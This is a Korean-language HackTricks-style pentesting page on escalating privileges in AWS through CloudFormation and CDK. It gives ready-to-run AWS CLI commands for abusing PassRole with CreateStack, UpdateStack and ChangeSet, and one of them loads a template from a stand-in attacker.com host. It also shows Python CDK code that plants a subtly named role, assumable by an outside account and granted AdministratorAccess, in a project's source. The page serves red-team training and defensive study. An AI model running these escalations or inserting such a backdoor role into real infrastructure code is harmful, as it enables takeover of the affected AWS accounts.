AWS - Cloudformation Privesc

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

cloudformation

cloudformation에 대한 자세한 정보는 다음을 확인하세요:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

이 권한을 가진 공격자는 지정된 역할의 권한으로 작업을 실행하기 위해 자신의 서버에 호스팅된 사용자 정의 템플릿으로 CloudFormation 스택을 작성하여 권한을 상승시킬 수 있습니다:

bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

다음 페이지에는 추가 권한 **cloudformation:DescribeStacks**가 있는 익스플로잇 예제가 있습니다:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

잠재적 영향: 지정된 cloudformation 서비스 역할로의 권한 상승.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

이 경우 기존의 cloudformation 스택을 악용하여 업데이트하고 이전 시나리오와 같이 권한을 상승시킬 수 있습니다:

bash
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy 권한은 스택에 대한 UpdateStack 권한을 부여하고 공격을 수행하는 데 사용할 수 있습니다.

잠재적 영향: 지정된 cloudformation 서비스 역할에 대한 권한 상승.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

이 권한이 있지만 **iam:PassRole**이 없는 경우에도 사용된 스택을 업데이트하고 이미 연결된 IAM 역할을 악용할 수 있습니다. 업데이트에서 역할을 지정하지 마십시오.

cloudformation:SetStackPolicy 권한은 스택에 대한 UpdateStack 권한을 부여하고 공격을 수행하는 데 사용할 수 있습니다.

잠재적 영향: 이미 연결된 cloudformation 서비스 역할에 대한 권한 상승.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

역할을 전달하고 ChangeSet을 생성 및 실행할 수 있는 권한이 있는 공격자는 새 cloudformation 스택을 생성/업데이트하고 cloudformation 서비스 역할을 악용할 수 있습니다. CreateStack 또는 UpdateStack과 마찬가지로.

다음 공격은 ChangeSet 권한을 사용하여 스택을 생성하는 CreateStack 공격의 변형입니다.

bash
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy 권한을 사용하여 스택에 대한 ChangeSet 권한을 부여하고 공격을 수행할 수 있습니다.

잠재적 영향: cloudformation 서비스 역할에 대한 권한 상승.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

이 방법은 IAM 역할을 전달하지 않고 이전 방법과 유사하므로, 이미 연결된 역할을 악용할 수 있으며, 매개변수만 수정하면 됩니다:

--change-set-type UPDATE

잠재적 영향: 이미 연결된 cloudformation 서비스 역할로의 권한 상승.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

공격자는 이러한 권한을 악용하여 StackSets를 생성/업데이트하여 임의의 cloudformation 역할을 악용할 수 있습니다.

잠재적 영향: cloudformation 서비스 역할로의 권한 상승.

cloudformation:UpdateStackSet

공격자는 passRole 권한 없이 이 권한을 악용하여 StackSets를 업데이트하고 연결된 cloudformation 역할을 악용할 수 있습니다.

잠재적 영향: 연결된 cloudformation 역할로의 권한 상승.

AWS CDK

AWS cdk는 사용자가 이미 익숙한 언어로 인프라를 코드로 정의할 수 있도록 하는 도구 모음이며, 섹션을 쉽게 재사용할 수 있습니다. 그런 다음 CDK는 고급 코드를 (예: python) Cloudformation 템플릿(yaml 또는 json)으로 변환합니다.

CDK를 사용하려면 관리 사용자가 먼저 계정을 부트스트랩해야 하며, 이 과정에서 여러 IAM 역할이 생성됩니다. 여기에는 */* 권한을 가진 exec role이 포함됩니다. 이러한 역할은 cdk-<qualifier>-<name>-<account-id>-<region> 형식의 이름 구조를 따릅니다. 부트스트랩은 계정당 지역별로 한 번만 수행해야 합니다.

기본적으로 CDK 사용자는 CDK를 사용하기 위해 필요한 역할을 나열할 수 있는 권한이 없으므로, 이를 수동으로 확인해야 합니다. 개발자의 머신이나 CI/CD 노드를 침해하면 이러한 역할을 가정하여 cfn-exec 역할을 사용하여 CFN 템플릿을 배포할 수 있는 능력을 부여받아 계정을 완전히 침해할 수 있습니다.

역할 이름 결정하기

cloudformation:DescribeStacks 권한이 있는 경우, 역할은 CDKToolkit이라는 스택에 정의되어 있으며, 거기에서 이름을 가져올 수 있습니다.

CDK 프로젝트를 빌드하고 배포하는 데 사용된 머신에 있는 경우, 프로젝트의 루트 디렉토리에서 cdk.out/manafest.json에서 가져올 수 있습니다.

또한 역할이 무엇인지에 대해 좋은 추측을 할 수 있습니다. qualifier는 여러 인스턴스의 CDK 부트스트랩을 동시에 배포할 수 있도록 역할에 추가된 문자열이지만, 기본값은 하드코딩되어 hnb659fds입니다.

# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>

프로젝트 소스에 악성 코드 추가

프로젝트 소스에 쓸 수 있지만 직접 배포할 수 없는 경우(예: 개발자가 로컬 머신이 아닌 CI/CD를 통해 코드를 배포하는 경우), 스택에 악성 리소스를 추가하여 환경을 손상시킬 수 있습니다. 다음은 공격자 계정이 가정할 수 있는 IAM 역할을 python CDK 프로젝트에 추가하는 방법입니다.

python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기